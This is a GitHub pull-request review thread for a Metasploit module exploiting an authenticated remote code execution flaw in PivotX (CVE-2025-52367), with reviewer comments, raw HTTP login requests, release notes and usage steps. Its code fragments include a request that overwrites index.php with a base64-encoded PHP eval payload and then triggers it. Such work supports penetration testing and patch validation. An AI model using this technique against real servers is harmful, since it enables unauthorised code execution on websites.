Adds module for PivotX RCE (CVE-2025-52367) #20400
Conversation
| class MetasploitModule < Msf::Exploit::Remote | ||
| Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html | ||
|
|
||
| include Exploit::Remote::Tcp |
There was a problem hiding this comment.
I don't think you need this as the module is just sending HTTP requests via send_request_cgi in order to authenticate and exploit.
| include Exploit::Remote::Tcp |
There was a problem hiding this comment.
Could you change the name of the file to something that relates to this exploit specifically? We try to tie exploit file names to the exploit themselves (or the vulnerable endpoint of the application) to avoid having multiple modules named<application>_rce, <application>_rce2
Something like pivotx_index_php_overwrite.rb would be great.
| boundary = Rex::Text.rand_text_alphanumeric(16).to_s | ||
| data_post = "------WebKitFormBoundary#{boundary}\r\n" | ||
|
|
||
| data_post << "Content-Disposition: form-data; name=\"returnto\"\r\n\r\n" | ||
| data_post << "\r\n" | ||
| data_post << "------WebKitFormBoundary#{boundary}\r\n" | ||
|
|
||
| data_post << "Content-Disposition: form-data; name=\"template\"\r\n\r\n" | ||
| data_post << "\r\n" | ||
| data_post << "------WebKitFormBoundary#{boundary}\r\n" | ||
|
|
||
| data_post << "Content-Disposition: form-data; name=\"username\"\r\n\r\n" | ||
| data_post << "#{datastore['USERNAME']}\r\n" | ||
| data_post << "------WebKitFormBoundary#{boundary}\r\n" | ||
|
|
||
| data_post << "Content-Disposition: form-data; name=\"password\"\r\n\r\n" | ||
| data_post << "#{datastore['PASSWORD']}\r\n" | ||
| data_post << "------WebKitFormBoundary#{boundary}\r\n" |
There was a problem hiding this comment.
You should be able to use Rex::MIME::Message here
| boundary = Rex::Text.rand_text_alphanumeric(16).to_s | |
| data_post = "------WebKitFormBoundary#{boundary}\r\n" | |
| data_post << "Content-Disposition: form-data; name=\"returnto\"\r\n\r\n" | |
| data_post << "\r\n" | |
| data_post << "------WebKitFormBoundary#{boundary}\r\n" | |
| data_post << "Content-Disposition: form-data; name=\"template\"\r\n\r\n" | |
| data_post << "\r\n" | |
| data_post << "------WebKitFormBoundary#{boundary}\r\n" | |
| data_post << "Content-Disposition: form-data; name=\"username\"\r\n\r\n" | |
| data_post << "#{datastore['USERNAME']}\r\n" | |
| data_post << "------WebKitFormBoundary#{boundary}\r\n" | |
| data_post << "Content-Disposition: form-data; name=\"password\"\r\n\r\n" | |
| data_post << "#{datastore['PASSWORD']}\r\n" | |
| data_post << "------WebKitFormBoundary#{boundary}\r\n" | |
| boundary = Rex::Text.rand_text_alphanumeric(16).to_s | |
| data_post = Rex::MIME::Message.new | |
| data_post.bound = boundary | |
| data_post.add_part('', nil, nil, 'form-data; name="returnto"') | |
| data_post.add_part('', nil, nil, 'form-data; name="template"') | |
| data_post.add_part(datastore['USERNAME'], nil, nil, 'form-data; name="username"') | |
| data_post.add_part(datastore['PASSWORD'], nil, nil, 'form-data; name="password"') |
There was a problem hiding this comment.
Yep, I have tried that, butRex::MIME::Message seems to have some issues, because this is request when it's custom MIME message:
POST /PivotX/pivotx/index.php?page=login HTTP/1.1
Host: 192.168.168.146
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary0QOnzz5aryMzqDAb
Content-Length: 429
Connection: keep-alive
------WebKitFormBoundary0QOnzz5aryMzqDAb
Content-Disposition: form-data; name="returnto"
------WebKitFormBoundary0QOnzz5aryMzqDAb
Content-Disposition: form-data; name="template"
------WebKitFormBoundary0QOnzz5aryMzqDAb
Content-Disposition: form-data; name="username"
[username]
------WebKitFormBoundary0QOnzz5aryMzqDAb
Content-Disposition: form-data; name="password"
[password]
------WebKitFormBoundary0QOnzz5aryMzqDAb
Which application accepts and process. And this is request sent with MIME:
POST /PivotX/pivotx/index.php?page=login HTTP/1.1
Host: 192.168.168.146
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAaoK2wdv4fYeoA4E
Content-Length: 411
Connection: keep-alive
--WebKitFormBoundaryAaoK2wdv4fYeoA4E
Content-Disposition: form-data; name="returnto"
--WebKitFormBoundaryAaoK2wdv4fYeoA4E
Content-Disposition: form-data; name="template"
--WebKitFormBoundaryAaoK2wdv4fYeoA4E
Content-Disposition: form-data; name="username"
[username]
--WebKitFormBoundaryAaoK2wdv4fYeoA4E
Content-Disposition: form-data; name="password"
[password]
--WebKitFormBoundaryAaoK2wdv4fYeoA4E--
```
and when this request is sent to the application, it acts like there's no password/username. Not sure why it's happening, it might be problem with `MIME` library because I did have some issues with it previously. Will investigate more.
There was a problem hiding this comment.
Maybe you tried something slightly different before? The above suggestion has been tested successfully on my installation. Give it a try and let me know if you run into any issues.
There was a problem hiding this comment.
My bad, did something stupid and it didn't work as expected. But should be fixed now!
| 'vars_post' => { 'csrfcheck' => @csrf_token, 'function' => 'save', 'basedir' => @base_dir, 'file' => 'index.php', 'contents' => "<?php eval(base64_decode('#{Base64.strict_encode64(payload.encoded)}')); ?> #{@original_value}" } | ||
| }) | ||
|
|
||
| fail_with Failure::PayloadFailed, 'Failed to insert malicious PHP payload' unless res&.code == 200 && res.body.include?('Wrote contents to file index.php') |
There was a problem hiding this comment.
Minor, and I know this syntax is correct, but not having the parentheses does not match the syntax used on line 68. I recognize everyone has their own preference, but I do think we should be consistent throughout the file.
documentation/modules/exploit/linux/http/pivotx_index_php_overwrite.md
Outdated
Show resolved
Hide resolved
|
|
||
| version = Rex::Version.new(Regexp.last_match(1)) | ||
|
|
||
| return Msf::Exploit::CheckCode::Appears("Detected PivotX #{version}") if version <= Rex::Version.new('3.0.0-rc3') |
There was a problem hiding this comment.
| return Msf::Exploit::CheckCode::Appears("Detected PivotX #{version}") if version <= Rex::Version.new('3.0.0-rc3') | |
| return Msf::Exploit::CheckCode::Appears("Detected PivotX #{version}") if version <= Rex::Version.new('3.0.0-rc3') |
|
|
||
| html_body = res.get_html_document | ||
|
|
||
| return Msf::Exploit::CheckCode::Unknown('Could not find version element') unless html_body.search('em').find { |i| i.text =~ /PivotX - (\d.\d\d?.\d\d?-[a-z0-9]+)/ } |
There was a problem hiding this comment.
| return Msf::Exploit::CheckCode::Unknown('Could not find version element') unless html_body.search('em').find { |i| i.text =~ /PivotX - (\d.\d\d?.\d\d?-[a-z0-9]+)/ } | |
| return Msf::Exploit::CheckCode::Detected('Could not find version element') unless html_body.search('em').find { |i| i.text =~ /PivotX - (\d.\d\d?.\d\d?-[a-z0-9]+)/ } |
|
|
||
| return Msf::Exploit::CheckCode::Appears("Detected PivotX #{version}") if version <= Rex::Version.new('3.0.0-rc3') | ||
|
|
||
| return Msf::Exploit::CheckCode::Safe("PivotX #{version} is not vulnerable") |
There was a problem hiding this comment.
| return Msf::Exploit::CheckCode::Safe("PivotX #{version} is not vulnerable") | |
| return Msf::Exploit::CheckCode::Safe("PivotX #{version} is not vulnerable") |
| modify_file | ||
| vprint_status('Triggering payload') | ||
| trigger_payload | ||
| restore |
There was a problem hiding this comment.
Could you add restore to an ensure block?
… CheckCode::Unknown to CheckCode::Detected
Co-authored-by: jheysel-r7 <[email protected]>
|
Great work @msutovsky-r7! Retested and everything is working as expected. I pushed one small change just to check the whether or not the credentials were submitted successfully or not in the login method. Testing |
jheysel-r7
added
the
rn-modules
Release NotesThis adds an exploit module leveraging an authenticated RCE in PivotX tracked as CVE-2025-52367. Authenticated users are able to overwrite the /pivotx/index.php endpoint with a php payload which gets executed in the context of the user running the web application. The module restores the original contents of the /pivotx/index.php endpoint once a session is established. |
Hacke for divase rapid7#20460 rapid7#12600 rapid7#20470 rapid7#20400 #
Vulnerable Application
PivotX is free software to help you maintain dynamic sites such as weblogs, online journals and other frequently updated websites in general.
It's written in PHP and uses MySQL or flat files as a database.
Install steps:
git clone https://github.com/pivotx/PivotX.gitPivotXto webfolderVerification Steps
use exploit/linux/http/pivotx_rceset USERNAME [PivotX username]set PASSWORD [PivotX password]set RHOSTS [target IP]set LHOST [attacker IP]runOptions
USERNAME
PivotX username.
PASSWORD
PivotX password.
Scenarios